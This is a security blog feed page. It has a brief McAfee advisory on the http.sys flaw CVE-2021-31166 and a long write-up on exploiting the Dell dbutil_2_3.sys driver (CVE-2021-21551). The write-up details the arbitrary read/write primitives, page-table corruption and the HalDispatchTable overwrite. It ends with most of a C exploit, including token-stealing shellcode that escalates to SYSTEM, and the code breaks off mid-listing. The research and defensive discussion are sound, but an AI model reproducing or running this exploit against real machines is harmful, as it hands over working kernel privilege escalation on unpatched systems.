Normal view

There are new articles available, click to refresh the page.
Before yesterdayVulnerabily Research

Major HTTP Vulnerability in Windows Could Lead to Wormable Exploit

12 May 2021 at 15:48
AI Cyber Security

Today, Microsoft released a highly critical vulnerability (CVE-2021-31166) in its web server http.sys. This product is a Windows-only HTTP server which can be run standalone or in conjunction with IIS (Internet Information Services) and is used to broker internet traffic via HTTP network requests. The vulnerability is very similar to CVE-2015-1635, another Microsoft vulnerability in the HTTP network stack reported in 2015.

With a CVSS score of 9.8, the vulnerability announced has the potential to be both directly impactful and is also exceptionally simple to exploit, leading to a remote and unauthenticated denial-of-service (Blue Screen of Death) for affected products.

The issue is due to Windows improperly tracking pointers while processing objects in network packets containing HTTP requests. As HTTP.SYS is implemented as a kernel driver, exploitation of this bug will result in at least a Blue Screen of Death (BSoD), and in the worst-case scenario, remote code execution, which could be wormable. While this vulnerability is exceptional in terms of potential impact and ease of exploitation, it remains to be seen whether effective code execution will be achieved. Furthermore, this vulnerability only affects the latest versions of Windows 10 and Windows Server (2004 and 20H2), meaning that the exposure for internet-facing enterprise servers is fairly limited, as many of these systems run Long Term Servicing Channel (LTSC) versions, such as Windows Server 2016 and 2019, which are not susceptible to this flaw.

At the time of this writing, we are unaware of any “in-the-wild” exploitation for CVE-2021-31166 but will continue to monitor the threat landscape and provide relevant updates. We urge Windows users to apply the patch immediately wherever possible, giving special attention to externally facing devices that could be compromised from the internet. For those who are unable to apply Microsoft’s update, we are providing a “virtual patch” in the form of a network IPS signature that can be used to detect and prevent exploitation attempts for this vulnerability.

McAfee Network Security Platform (NSP) Protection
Sigset Version: 10.8.21.2
Attack ID: 0x4528f000
Attack Name: HTTP: Microsoft HTTP Protocol Stack Remote Code Execution Vulnerability (CVE-2021-31166)

McAfee Knowledge Base Article KB94510:
https://kc.mcafee.com/corporate/index?page=content&id=KB94510

 

 

The post Major HTTP Vulnerability in Windows Could Lead to Wormable Exploit appeared first on McAfee Blog.

Exploit Development: CVE-2021-21551 - Dell ‘dbutil_2_3.sys’ Kernel Exploit Writeup

16 May 2021 at 00:00

Introduction

Recently I said I was going to focus on browser exploitation with Advanced Windows Exploitation being canceled. With this cancellation, I found myself craving a binary exploitation training, with AWE now being canceled for the previous two years. I found myself enrolled in HackSysTeam’s Windows Kernel Exploitation Advanced course, which will be taking place at the end of this month at CanSecWest, due to the cancellation. I have already delved into the basics of kernel exploitation, and I had been looking to complete a few exercises to prepare for the end of the month, and shake the rust off.

I stumbled across this SentinelOne blog post the other day, which outlined a few vulnerabilities in Dell’s dbutil_2_3.sys driver, including a memory corruption vulnerability. Although this vulnerability was attributed to Kasif Dekel, it apparently was discovered earlier by Yarden Shafir and Staoshi Tanda, coworkers of mine at CrowdStrike.

After reading Kasif’s blog post, which practically outlines the entire vulnerability and does an awesome job of explaining things and giving researchers a wonderful starting point, I decided that I would use this opportunity to get ready for Windows Kernel Exploitation Advanced at the end of the month.

I also decided, because Kasif leverages a data-only attack, instead of something like corrupting page table entries, that I would try to recreate this exploit by achieving a full SYSTEM shell via page table corruption. The final result ended up being a weaponized exploit. I wanted to take this blog post to showcase just a few of the “checks” that needed to be bypassed in the kernel in order to reach the final arbitrary read/write primitive, as well as why modern mitigations such as Virtualization-Based Security (VBS) and Hypervisor-Protected Code Integrity (HVCI) are so important in today’s threat landscape.

In addition, three of my favorite things to do are to write, conduct vulnerability research, and write code - so regardless of if you find this blog helpful/redundant, I just love to write blogs at the end of the day :-). I also hope this blog outlines, as I mentioned earlier, why it is important mitigations like VBS/HVCI become more mainstream and that at the end of the day, these two mitigations in tandem could have prevented this specific method of exploitation (note that other methods are still viable, such as a data-only attack as Kasif points out).

Arbitrary Write Primitive

I will not attempt to reinvent the wheel here, as Kasif’s blog post explains very well how this vulnerability arises, but the tl;dr on the vulnerability is there is an IOCTL code that any client can trigger with a call to DeviceIoControl that eventually reaches a memmove routine, in which the user-supplied buffer from the vulnerable IOCTL routine is used in this call.

Let’s get started with the analysis. As is accustom in kernel exploits, we first need a way, generally speaking, to interact with the driver. As such, the first step is to obtain a handle to the driver. Why is this? The driver is an object in kernel mode, and as we are in user mode, we need some intermediary way to interact with the driver. In order to do this, we need to look at how the DEVICE_OBJECT is created. A DEVICE_OBJECT generally has a symbolic link which references it, that allows clients to interact with the driver. This object is what clients interact with. We can use IDA in our case to locate the name of the symbolic link. The DriverEntry function is like a main() function in a kernel mode driver. Additionally, DriverEntry functions are prototyped to accept a pointer to a DRIVER_OBJECT, which is essentially a “representation” of a driver, and a RegistryPath. Looking at Microsoft documentation of a DRIVER_OBJECT, we can see one of the members of this structure is a pointer to a DEVICE_OBJECT.

Loading the driver in IDA, in the Functions window under Function name, you will see a function called DriverEntry.

This entry point function, as we can see, performs a jump to another function, sub_11008. Let’s examine this function in IDA.

As we can see, the \Device\DBUtil_2_3 string is used in the call to IoCreateDevice to create a DEVICE_OBJECT. For our purposes, the target symbolic link, since we are a user-mode client, will be \\\\.\\DBUtil_2_3.

Now that we know what the target symbolic link is, we then need to leverage CreateFile to obtain a handle to this driver.

We will start piecing the code together shortly, but this is how we obtain a handle to interact with the driver.

The next function we need to call is DeviceIoControl. This function will allow us to pass the handle to the driver as an argument, and allow us to send data to the driver. However, we know that drivers create I/O Control (IOCTL) routines that, based on client input, perform different actions. In this case, this driver exposes many IOCTL routines. One way to determine if a function in IDA contains IOCTL routines, although it isn’t fool proof, is looking for many branches of code with cmp eax, DWORD. IOCTL codes are DWORDs and drivers, especially enterprise grade drivers, will perform many different actions based on the IOCTL specified by the client. Since this driver doesn’t contain many functions, it is relatively trivial to locate a function which performs many of these validations.

Per Kasif’s research, the vulnerable IOCTL in this case is 0x9B0C1EC8. In this function, sub_11170, we can look for a cmp eax, 9B0C1EC8h instruction, which would be indicative that if the vulnerable IOCTL code is specified, whatever code branches out from that compare statement would lead us to the vulnerable code path.

This compare, if successful, jumps to an xor edx, edx instruction.

After the XOR instruction incurs, program execution hits the loc_113A2 routine, which performs a call to the function sub_15294.

If you recall from Kasif’s blog post, this is the function in which the vulnerable code resides in. We can see this in the function, by the call to memmove.

What primitive do we have here? As Kasif points out, we “can control the arguments to memmove” in this function. We know that we can hit this function, sub_15294, which contains the call to memmove. Let’s take a look at the prototype for memmove, as seen here.

As seen above, memmove allows you to move a pointer to a block of memory into another pointer to a block of memory. If we can control the arguments to memmove, this gives us a vanilla arbitrary write primitive. We will be able to overwrite any pointer in kernel mode with our own user-supplied buffer! This is great - but the question remains, we see there are tons of code branches in this driver. We need to make sure that from the time our IOCTL code is checked and we are directed towards our code path, that any compare statements/etc. that arise are successfully dealt with, so we can reach the final memmove routine. Let’s begin by sending an arbitrary QWORD to kernel mode.

After loading the driver on the debuggee machine, we can start a kernel-mode debugging session in WinDbg. After verifying the driver is loaded, we can use IDA to locate the offset to this function and then set a breakpoint on it.

Next, after running the POC on the debuggee machine, we can see execution hits the breakpoint successfully and the target instruction is currently in RIP and our target IOCTL is in the lower 32-bits of RAX, EAX.

After executing the cmp statement and the jump, we can see now that we have landed on the XOR instruction, per our static analysis with IDA earlier.

Then, execution hits the call to the function (sub+15294) which contains the memmove routine - so far so good!

We can see now we have landed inside of the function call, and a new stack frame is being created.

If we look in the RCX register currently, we can see our buffer, when dereferencing the value in RCX.

We then can see that, after stepping through the sup rsp, 0x40 stack allocation and the mov rbx, rcx instruction, the value 0x8 is going to be placed into ECX and used for the cmp ecx, 0x18 instruction.

What is this number? This is actually the size of our buffer, which is currently one QWORD. Obviously this compare statement will fail, and essentially an NTSTATUS code is returned back to the client of 0xC0000000D, which means STATUS_INVALID_PARAMETER. This is the driver’s way to let the client know one of the needed arguments wasn’t correct in the IOCTL call. This means that if we want to reach the memmove routine, we will at least need to send 0x18 bytes worth of data.

Refactoring our code, let’s try to send a contiguous buffer of 0x18 bytes of data.

After hitting the sub_5294 function, we see that this time the cmp ecx, 0x18 check will be bypassed.

After stepping through a few instructions, after the test rax, rax bitwise test and the jump instruction, we land on a load effective address instruction, and we can see our call to memmove, although there is no symbol in WinDbg.

Since we are about to hit the call to memmove, we know that the __fastcall calling convention is in use, as we see no movements to the stack and we are on a 64-bit system. Because of this, we know that, based on the prototype, the first argument will be placed into RCX, which will be the destination buffer (e.g. where the memory will be written to). We also know that RDX will contain the source buffer (e.g. where the memory comes from).

Stepping into the mov ecx, dword ptr[rsp+0x30], which will move the lower 32-bits of RSP, ESP, into ECX, we can see that a value of 0x00000000 is about to be moved into ECX.

We then see that the value on the stack, at an offset of 0x28, is added to the value in RCX, which is currently zero.

We then can see that invalid memory will be dereferenced in the call to memmove.

Why is this? Recall the prototype of memmove. This function accepts a pointer to memory. Since we passed raw values of junk, these addresses are invalid. Because of this, let’s switch up our POC a bit again in order to see if we can’t get a desired result. Let’s use KUSER_SHARD_DATA at an offset of 0x800, which is 0xFFFFF78000000800, as a proof of concept.

This time, per Kasif’s research, we will send a 0x20 byte buffer. Kasif points out that the memmove routine, before reaching the call, will select at an offset of 0x8 (the destination) and 0x18 (the source).

After re-executing the POC, let’s jump back right before the call to memmove.

We can see that this time, 0x42 bytes, 4 bytes of them to be exact, will be loaded into ECX.

Then, we can clearly see that the value at the stack, plus 0x28 bytes, will be added to ECX. The final result is 0xFFFFF78042424242.

We then can see that before the call, another part of our buffer is moved into RDX as the source buffer. This allows us an arbitrary write primitive! A buffer we control will overwrite the pointer at the memory address we supply.

The issue is, however, with the source address. We were attempting to target 0xFFFFF78000000800. However, our address got mangled into 0xFFFFF78042424242. This is because it seems like the lower 32-bits of one of our user-supplied QWORDS first gets added to the destination buffer. This time, if we resend the exploit and we change where 0x4242424242424242 once was with 0x0000000000000000, we can “bypass” this issue, but having a value of 0 added, meaning our target address will remain unmangled.

After sending the POC again, we can see that the correct target address is loaded into RCX.

Then, as expected, our arguments are supplied properly to the call to memmove.

After stepping over the function call, we can see that our arbitrary write primitive has successfully worked!

Again, thank you to Kasif for his research on this! Now, let’s talk about the arbitrary read primitive, which is very similar!

Arbitrary Read Primitive

As we know, whenever we supply arguments to the vulnerable memmove routine used for an arbitrary write primitive, we can supply the “what” (our data) and the “where” (where do we write the data). However, recall the image two images above, showcasing our successful arguments, that since memmove accepts two pointers, the argument in RDX, which is a pointer to 0x4343434343434343, is a kernel mode address. This means, at some point between the memmove call and our invocation of DeviceIoControl, our array of QWORDS was transferred to kernel mode, so it could be used by the driver in the call to memmove. Notice, however, that the target address, the value in RCX, is completely controllable by us - meaning the driver doesn’t create a pointer to that QWORD, we can directly supply it. And, since memmove will interpret that as a pointer, we can actually overwrite whatever we pass to the target buffer, which in this case is any address we want to corrupt.

What if, however, there was a way to do this in reverse? What if, in place of the kernel mode address that points to 0x4343434343434343 we could just supply our own memory address, instead of the driver creating a pointer to it, identically to how we control the target address we want to move memory to.

This means, instead of having something like this for the target address:

ffffc605`24e82998 43434343`43434343

What if we could just pass our own data as such:

43434343`43434343 DATA

Where 0x4343434343434343 is a value we supply, instead of having the kernel create a pointer to it for us. That way, when memmove interprets this address, it will interpret it as a pointer. This means that if we supply a memory address, whatever that memory address points to (e.g. nt!MiGetPteAddress+0x13 when dereferenced) is copied to the target buffer!

This could go one of two ways potentially: option one would be that we could copy this data into our own pointer in C. However, since we see that none of our user-mode addresses are making it to the driver, and the driver is taking our buffer and placing it in kernel mode before leveraging it, the better option, perhaps, would be to supply an output buffer to DeviceIoControl and see if the memmmove data writes it to the output buffer.

The latter option makes sense as this IOCTL allows any client to supply a buffer and have it copied. This driver most likely isn’t expecting unauthorized clients to this IOCTL, meaning the input and output buffers are most likely being used by other kernel mode components/legitimate user-mode clients that need an easy way to pass and receive data. Because of this, it is more than likely it is expected behavior for the output buffer to contain memmove data. The problem is we need to find another memmove routine that allows us to essentially to the inverse of what we did with the arbitrary write primitive.

Talking to a peer of mine, VoidSec about my thought process, he pointed me towards Metasploit, which already has this concept outlined in their POC.

Doing a bit more of reverse engineering, we can see that there is more than one way to reach the arbitrary write memmove routine.

Looking into the sub_15294, we can see that this is the same memmove routine leveraged before.

However, since there is another IOCTL routine that invokes this memmove routine, this is a prime candidate to see if anything about this routine is different (e.g. why create another routine to do the same thing twice? Perhaps this routine is used for something else, like reading memory or copying memory in a different way). Additionally, recall when we performed an arbitrary write, the routines were indexing our buffer at 0x8 and 0x18. This could mean that the call to memmove, via the new IOCTL, could setup our buffer in a way that the buffer is indexed at a different offset, meaning we may be able to achieve an arbitrary read.

It is possible to reach this routine through the IOCTL 0x9B0C1EC4.

Let’s update our POC to attempt to trigger the new IOCTL and see if anything is returned in the output buffer. Essentially, we will set the second value, similar to last time, of our QWORD array to the value we want to interact with, in this case, read, and set everything else to 0. Then, we will reuse the same array of QWORDS as an output buffer and see if anything was written to the buffer.

We can use IDA to identify the proper offset within the driver that the cmp eax, 0x9B0C1EC4 lands on, which is sub_11170+75.

We know that the first IOCTL code we will hit is the arbitrary write IOCTL, so we can pass over the first compare and then hit the second.

We then can see execution reaches the function housing the memmove routine, sub_15294.

After stepping through a few instruction, we can see our input buffer for the read primitive is being propagated and setup for the future call to memmove.

Then, the first part of the buffer is moved into RAX.

Then, the target address we would like to dereference and read from is loaded into RAX.

Then, the target address of KUSER_SHARED_DATA is loaded into RCX and then, as we can see, it will be loaded into RDX. This is great for us, as it means the 2nd argument for a function call on 64-bit systems on Windows is loaded into RDX. Since memmove accepts a pointer to a memory address, this means that this address will be the address that is dereferenced and then has its memory copied into a target buffer (which hopefully is returned in the output buffer parameter of DeviceIoControl).

Recall in our arbitrary write routine that the second parameter, 4343434343434343 was pointed to by a kernel mode address. Look at the above image and see now that we control the address (0xFFFFF78000000000), but this time this address will be dereferenced and whatever this address points to will be written to the buffer pointed to by RCX. Since in our last routine we controlled both arguments to memmove, we can expect that, although the value in RCX is in kernel mode, it will be bubbled back up into user mode and will be placed in our output buffer! We can see just before the return from memmove, the return value is the buffer in which the data was copied into, and we can see the buffer contains 0x0fa0000000000000! Looking in the debugger, this is the value KUSER_SHARED_DATA points to.

We really don’t need to do any more debugging/reverse engineering as we know that we completely control these arguments, based on our write primitive. Pressing g in the debugger, we can see that in our POC console, we have successfully performed an arbitrary read!

We indexed each array element of the QWORD array we sent, per our code, and we can see the last element will contain the dereferenced contents of the value we would like to read from! Now that we have a vanilla 1 QWORD arbitrary read/write primitive, we can now get into out exploitation path.

Why Perform a Data-Only Attack When You Can Corrupt All Of The Memory and Deal With All of the Mitigations? Let’s Have Some Fun And Make Life Artificially Harder On Ourselves!

First, please note I have more in-depth posts on leveraging page table entries and memory paging for kernel exploitation found here and here.

Our goal with this exploitation path will be the following:

  1. Write our shellcode somewhere that is writable in the driver’s virtual address space
  2. Locate the base of the page table entries
  3. Calculate where the page table entry for the memory page where our shellcode lives
  4. Corrupt the page table entry to make the shellcode page RWX, circumventing SMEP and bypassing kernel no-eXecute (DEP)
  5. Overwrite nt!HalDispatchTable+0x8 and circumvent kCFG (kernel Control-Flow Guard) (Note that if kCFG was fully enabled, then VBS/HVCI would then be enabled - rendering this technique useless. kCFG does still have some functionality, even when VBS/HVCI is disabled, like performing bitwise tests to ensure user mode addresses aren’t called from kernel mode. This simply just “circumvents” kCFG by calling a pointer to our shellcode, which exists in kernel mode from the first step).

First we need to find a place in kernel mode that we can write our shellcode to. KUSER_SHARED_DATA is a perfectly fine solution, but there is also a good candidate within the driver itself, located in its .data section, which is already writable.

We can see that from the above image, we have a ton of room to work with, in terms of kernel mode writable memory. Our shellcode is approximately 9 QWORDS, so we will have more than enough room to place our shellcode here.

We will start our shellcode out at .data+0x10. Since we know where the shellcode will go, and since we know it resides in the dbutil_2_3.sys driver, we need to add a routine to our exploit that can retrieve the load address of the kernel, for PTE indexing calculations, and the base address of the driver.

Note that this assumes the process invoking this exploit is that of medium integrity.

The next step, since we know where we want to write to is at an offset of 0x3000 (offset to .data.) + 0x10 (offset to code cave) from the base address of dbutil_2_3.sys, is to locate the page table entry for this memory address, which already is a kernel-mode page and is writable (you could use KUSER_SHARED_DATA+0x800). In order to perform the calculations to locate the page table entry, we first need to bypass page table randomization, a mitigation of Windows 10 after 1607.

This is because we need the base of the page table entries in order to locate the PTE for a specific page in memory (the page table entries are an array of virtual addresses in this case). The Windows API function nt!MiGetPteAddress, at an offset of 0x13, contains, dynamically, the base of the page table entries as this kernel mode function is leveraged to find the base of the page table entries.

Let’s use our read primitive to locate the base of the page table entries (note that I used a static offset from the base of the kernel to nt!MiGetPteAddress, mostly because I am focused on the exploitation phase of this CVE, and not making this exploit portable. You’ll need to update this based on your patch level).

Here we can see we obtain the initial handle to the driver, create a buffer based on our read primitive, send it to the driver, and obtain the base of the page table entries. Then, we programmatically can replicate what nt!MiGetPteAddress does in order to fetch the correct page table entry in the array for the page we will be writing our shellcode to.

Now that we have calculated the page table entry for where our shellcode will be written to, let’s now dereference it in order to preserve what the PTE bits contain, in terms of permissions, so we can modify this value later

Checking in WinDbg, we can also see this is the case!

Now that we have the virtual address for our page table entry and we have extracted the current bits that comprise the entry, let’s write our shellcode to .data+0x10 (dbutil_2_3+0x3010).

After execution of the updated POC, we can clearly see that the arbitrary write routines worked, and our shellcode is located in kernel mode!

Perfect! Now that we have our shellcode in kernel mode, we need to make it executable. After all, the .data section of a PE or driver is read/write. We need to make this an executable region of memory. Since we have the PTE bits already stored, we can update our page table entry bits, stored in our exploit, to contain the bits with the no-eXecute bit cleared, and leverage our arbitrary write primitive to corrupt the page table entry and make it read/write/execute (RWX)!

Perfect! Now that we have made our memory region executable, we need to overwrite the pointer to nt!HalDispatchTable+0x8 with this memory address. Then, when we invoke ntdll!NtQueryIntervalProfile from user mode, which will trigger a call to this QWORD! However, before overwriting nt!HalDispatchTable+0x8, let’s first use our read primitive to preserve the current pointer, so we can put it back after executing our shellcode to ensure system stability, as the Hardware Abstraction Layer is very important on Windows and the dispatch table is referenced regularly.

After preserving the pointer located at nt!HalDispatchTable+0x8 we can use our write primitive to overwrite nt!HalDispatchTable+0x8 with a pointer to our shellcode, which resides in kernel mode memory!

Perfect! At this point, if we invoke nt!HalDispatchTable+0x8’s pointer, we will be calling our shellcode! The last step here, besides restoring everything, is to resolve ntdll!NtQueryIntervalProfile, which eventually performs a call to [nt!HalDispatchTable+0x8].

Then, we can finish up our exploit by adding in the restoration routine to restore nt!HalDispatchTable+0x8.

Let’s set a breakpoint on nt!NtQueryIntervalProfile, which will be called, even though the call originates from ntdll.dll.

After hitting the breakpoint, let’s continue to step through the function until we hit the call nt!KeQueryIntervalProfile function call, and let’s use t to step into it.

Stepping through approximately 9 instructions inside of ntKeQueryIntervalProfile, we can see that we are not directly calling [nt!HalDispatchTable+0x8], but we are calling nt!guard_dispatch_icall. This is part of kCFG, or kernel Control-Flow Guard, which validates indirect function calls (e.g. calling a function pointer).

Clearly, as we can see, the value of [nt!HalDispatchTable+0x8] is pointing to our shellcode, meaning that kCFG should block this. However, kCFG actually requires Virtualization-Based Security (VBS) to be fully implemented. We can see though that kCFG has some functionality in kernel mode, even if it isn’t implemented full scale. The routines still exist in the kernel, which would normally check a bitmap of all indirect function calls and determine if the value that is about to be placed into RAX in the above image is a “valid target”, meaning at compile time, when the bitmap was created, did the address exist and is it apart of any valid control-flow transfer.

However, since VBS is not mainstream yet, requires specific hardware, and because this exploit is being developed in a virtual machine, we can disregard the VBS side for now (note that this is why mitigations like VBS/HVCI/HyperGuard/etc. are important, as they do a great job of thwarting these types of memory corruption vulnerabilities).

Stepping through the call to nt!guard_dispatch_icall, we can actually see that all this routine does essentially, since VBS isn’t enabled, is bitwise test the target address in RAX to confirm it isn’t a user-mode address (basically it checks to see if it is sign-extended). If it is a user-mode address, you’ll actually get a bug check and BSOD. This is why I opted to keep our shellcode in kernel mode, so we can pass this bitwise test!

Then, after stepping through everything, we can see now that control-flow transfer has been handed off to our shellcode.

From here, we can see we have successfully obtained NT AUTHORITY\SYSTEM privileges!

“When Napoleon lay at Boulogne for a year with his flat-bottom boats and his Grand Army, he was told by someone ‘There are bitter weeds in VBS/HVCI/kCFG’”

Although this exploit was arduous to create, we can clearly see why data-only attacks, such as the _SEP_TOKEN_PRIVILEGES method outlined by Kasif are optimal. They bypass pretty much any memory corruption related mitigation.

Note that VBS/HVCI actually creates an additional security boundary for us. Page table entries, when VBS is enabled, are actually managed by a higher security boundary, virtual trust level 1 - which is the secure kernel. This means it is not possible to perform PTE manipulation as we did. Additionally, even if this were possible, HVCI is essentially Arbitrary Code Guard (ACG) in the kernel - meaning that it also isn’t possible to manipulate the permissions of memory as we did. These two mitigations would also allow kCFG to be fully implemented, meaning our control-flow transfer would have also failed.

The advisory and patch for this vulnerability can be found here! Please patch your systems or simply remove the driver.

Thank you again to Kasif for this original research! This was certainly a fun exercise :-). Until next time - peace, love, and positivity :-).

Here is the final POC, which can be found on my GitHub:

// CVE-2021-21551: Dell 'dbutil_2_3.sys' Memory Corruption
// Original research: https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/
// Author: Connor McGarr (@33y0re)

#include <stdio.h>
#include <Windows.h>
#include <Psapi.h>

// Vulnerable IOCTL
#define IOCTL_WRITE_CODE 0x9B0C1EC8
#define IOCTL_READ_CODE 0x9B0C1EC4

// Prepping call to nt!NtQueryIntervalProfile
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval);

// Obtain the kernel base and driver base
unsigned long long kernelBase(char name[])
{
  // Defining EnumDeviceDrivers() and GetDeviceDriverBaseNameA() parameters
  LPVOID lpImageBase[1024];
  DWORD lpcbNeeded;
  int drivers;
  char lpFileName[1024];
  unsigned long long imageBase;

  BOOL baseofDrivers = EnumDeviceDrivers(
    lpImageBase,
    sizeof(lpImageBase),
    &lpcbNeeded
  );

  // Error handling
  if (!baseofDrivers)
  {
    printf("[-] Error! Unable to invoke EnumDeviceDrivers(). Error: %d\n", GetLastError());
    exit(1);
  }

  // Defining number of drivers for GetDeviceDriverBaseNameA()
  drivers = lpcbNeeded / sizeof(lpImageBase[0]);

  // Parsing loaded drivers
  for (int i = 0; i < drivers; i++)
  {
    GetDeviceDriverBaseNameA(
      lpImageBase[i],
      lpFileName,
      sizeof(lpFileName) / sizeof(char)
    );

    // Keep looping, until found, to find user supplied driver base address
    if (!strcmp(name, lpFileName))
    {
      imageBase = (unsigned long long)lpImageBase[i];

      // Exit loop
      break;
    }
  }

  return imageBase;
}


void exploitWork(void)
{
  // Store the base of the kernel
  unsigned long long baseofKernel = kernelBase("ntoskrnl.exe");

  // Storing the base of the driver
  unsigned long long driverBase = kernelBase("dbutil_2_3.sys");

  // Print updates
  printf("[+] Base address of ntoskrnl.exe: 0x%llx\n", baseofKernel);
  printf("[+] Base address of dbutil_2_3.sys: 0x%llx\n", driverBase);

  // Store nt!MiGetPteAddress+0x13
  unsigned long long ntmigetpteAddress = baseofKernel + 0xbafbb;

  // Obtain a handle to the driver
  HANDLE driverHandle = CreateFileA(
    "\\\\.\\DBUtil_2_3",
    FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
    0x0,
    NULL,
    OPEN_EXISTING,
    0x0,
    NULL
  );

  // Error handling
  if (driverHandle == INVALID_HANDLE_VALUE)
  {
    printf("[-] Error! Unable to obtain a handle to the driver. Error: 0x%lx\n", GetLastError());
    exit(-1);
  }
  else
  {
    printf("[+] Successfully obtained a handle to the driver. Handle value: 0x%llx\n", (unsigned long long)driverHandle);

    // Buffer to send to the driver (read primitive)
    unsigned long long inBuf1[4];

    // Values to send
    unsigned long long one1 = 0x4141414141414141;
    unsigned long long two1 = ntmigetpteAddress;
    unsigned long long three1 = 0x0000000000000000;
    unsigned long long four1 = 0x0000000000000000;

    // Assign the values
    inBuf1[0] = one1;
    inBuf1[1] = two1;
    inBuf1[2] = three1;
    inBuf1[3] = four1;

    // Interact with the driver
    DWORD bytesReturned1 = 0;

    BOOL interact = DeviceIoControl(
      driverHandle,
      IOCTL_READ_CODE,
      &inBuf1,
      sizeof(inBuf1),
      &inBuf1,
      sizeof(inBuf1),
      &bytesReturned1,
      NULL
    );

    // Error handling
    if (!interact)
    {
      printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError());
      exit(-1);
    }
    else
    {
      // Last member of read array should contain base of the PTEs
      unsigned long long pteBase = inBuf1[3];

      printf("[+] Base of the PTEs: 0x%llx\n", pteBase);

      // .data section of dbutil_2_3.sys contains a code cave
      unsigned long long shellcodeLocation = driverBase + 0x3010;

      // Bitwise operations to locate PTE of shellcode page
      unsigned long long shellcodePte = (unsigned long long)shellcodeLocation >> 9;
      shellcodePte = shellcodePte & 0x7FFFFFFFF8;
      shellcodePte = shellcodePte + pteBase;

      // Print update
      printf("[+] PTE of the .data page the shellcode is located at in dbutil_2_3.sys: 0x%llx\n", shellcodePte);

      // Buffer to send to the driver (read primitive)
      unsigned long long inBuf2[4];

      // Values to send
      unsigned long long one2 = 0x4141414141414141;
      unsigned long long two2 = shellcodePte;
      unsigned long long three2 = 0x0000000000000000;
      unsigned long long four2 = 0x0000000000000000;

      inBuf2[0] = one2;
      inBuf2[1] = two2;
      inBuf2[2] = three2;
      inBuf2[3] = four2;

      // Parameter for DeviceIoControl
      DWORD bytesReturned2 = 0;

      BOOL interact1 = DeviceIoControl(
        driverHandle,
        IOCTL_READ_CODE,
        &inBuf2,
        sizeof(inBuf2),
        &inBuf2,
        sizeof(inBuf2),
        &bytesReturned2,
        NULL
      );

      // Error handling
      if (!interact1)
      {
        printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError());
        exit(-1);
      }
      else
      {
        // Last member of read array should contain PTE bits
        unsigned long long pteBits = inBuf2[3];

        printf("[+] PTE bits for the shellcode page: %p\n", pteBits);

        /*
          ; Windows 10 1903 x64 Token Stealing Payload
          ; Author Connor McGarr

          [BITS 64]

          _start:
            mov rax, [gs:0x188]     ; Current thread (_KTHREAD)
            mov rax, [rax + 0xb8]   ; Current process (_EPROCESS)
            mov rbx, rax        ; Copy current process (_EPROCESS) to rbx
          __loop:
            mov rbx, [rbx + 0x2f0]    ; ActiveProcessLinks
            sub rbx, 0x2f0          ; Go back to current process (_EPROCESS)
            mov rcx, [rbx + 0x2e8]    ; UniqueProcessId (PID)
            cmp rcx, 4          ; Compare PID to SYSTEM PID
            jnz __loop            ; Loop until SYSTEM PID is found

            mov rcx, [rbx + 0x360]    ; SYSTEM token is @ offset _EPROCESS + 0x360
            and cl, 0xf0        ; Clear out _EX_FAST_REF RefCnt
            mov [rax + 0x360], rcx    ; Copy SYSTEM token to current process

            xor rax, rax        ; set NTSTATUS STATUS_SUCCESS
            ret             ; Done!

        */

        // One QWORD arbitrary write
        // Shellcode is 67 bytes (67/8 = 9 unsigned long longs)
        unsigned long long shellcode1 = 0x00018825048B4865;
        unsigned long long shellcode2 = 0x000000B8808B4800;
        unsigned long long shellcode3 = 0x02F09B8B48C38948;
        unsigned long long shellcode4 = 0x0002F0EB81480000;
        unsigned long long shellcode5 = 0x000002E88B8B4800;
        unsigned long long shellcode6 = 0x8B48E57504F98348;
        unsigned long long shellcode7 = 0xF0E180000003608B;
        unsigned long long shellcode8 = 0x4800000360888948;
        unsigned long long shellcode9 = 0x0000000000C3C031;

        // Buffers to send to the driver (write primitive)
        unsigned long long inBuf3[4];
        unsigned long long inBuf4[4];
        unsigned long long inBuf5[4];
        unsigned long long inBuf6[4];
        unsigned long long inBuf7[4];
        unsigned long long inBuf8[4];
        unsigned long long inBuf9[4];
        unsigned long long inBuf10[4];
        unsigned long long inBuf11[4];

        // Values to send
        unsigned long long one3 = 0x4141414141414141;
        unsigned long long two3 = shellcodeLocation;
        unsigned long long three3 = 0x0000000000000000;
        unsigned long long four3 = shellcode1;

        unsigned long long one4 = 0x4141414141414141;
        unsigned long long two4 = shellcodeLocation + 0x8;
        unsigned long long three4 = 0x0000000000000000;
        unsigned long long four4 = shellcode2;

        unsigned long long one5 = 0x4141414141414141;
        unsigned long long two5 = shellcodeLocation + 0x10;
        unsigned long long three5 = 0x0000000000000000;
        unsigned long long four5 = shellcode3;

        unsigned long long one6 = 0x4141414141414141;
        unsigned long long two6 = shellcodeLocation + 0x18;
        unsigned long long three6 = 0x0000000000000000;
        unsigned long long four6 = shellcode4;

        unsigned long long one7 = 0x4141414141414141;
        unsigned long long two7 = shellcodeLocation + 0x20;
        unsigned long long three7 = 0x0000000000000000;
        unsigned long long four7 = shellcode5;

        unsigned long long one8 = 0x4141414141414141;
        unsigned long long two8 = shellcodeLocation + 0x28;
        unsigned long long three8 = 0x0000000000000000;
        unsigned long long four8 = shellcode6;

        unsigned long long one9 = 0x4141414141414141;
        unsigned long long two9 = shellcodeLocation + 0x30;
        unsigned long long three9 = 0x0000000000000000;
        unsigned long long four9 = shellcode7;

        unsigned long long one10 = 0x4141414141414141;
        unsigned long long two10 = shellcodeLocation + 0x38;
        unsigned long long three10 = 0x0000000000000000;
        unsigned long long four10 = shellcode8;

        unsigned long long one11 = 0x4141414141414141;
        unsigned long long two11 = shellcodeLocation + 0x40;
        unsigned long long three11 = 0x0000000000000000;
        unsigned long long four11 = shellcode9;

        inBuf3[0] = one3;
        inBuf3[1] = two3;
        inBuf3[2] = three3;
        inBuf3[3] = four3;

        inBuf4[0] = one4;
        inBuf4[1] = two4;
        inBuf4[2] = three4;
        inBuf4[3] = four4;

        inBuf5[0] = one5;
        inBuf5[1] = two5;
        inBuf5[2] = three5;
        inBuf5[3] = four5;

        inBuf6[0] = one6;
        inBuf6[1] = two6;
        inBuf6[2] = three6;
        inBuf6[3] = four6;

        inBuf7[0] = one7;
        inBuf7[1] = two7;
        inBuf7[2] = three7;
        inBuf7[3] = four7;

        inBuf8[0] = one8;
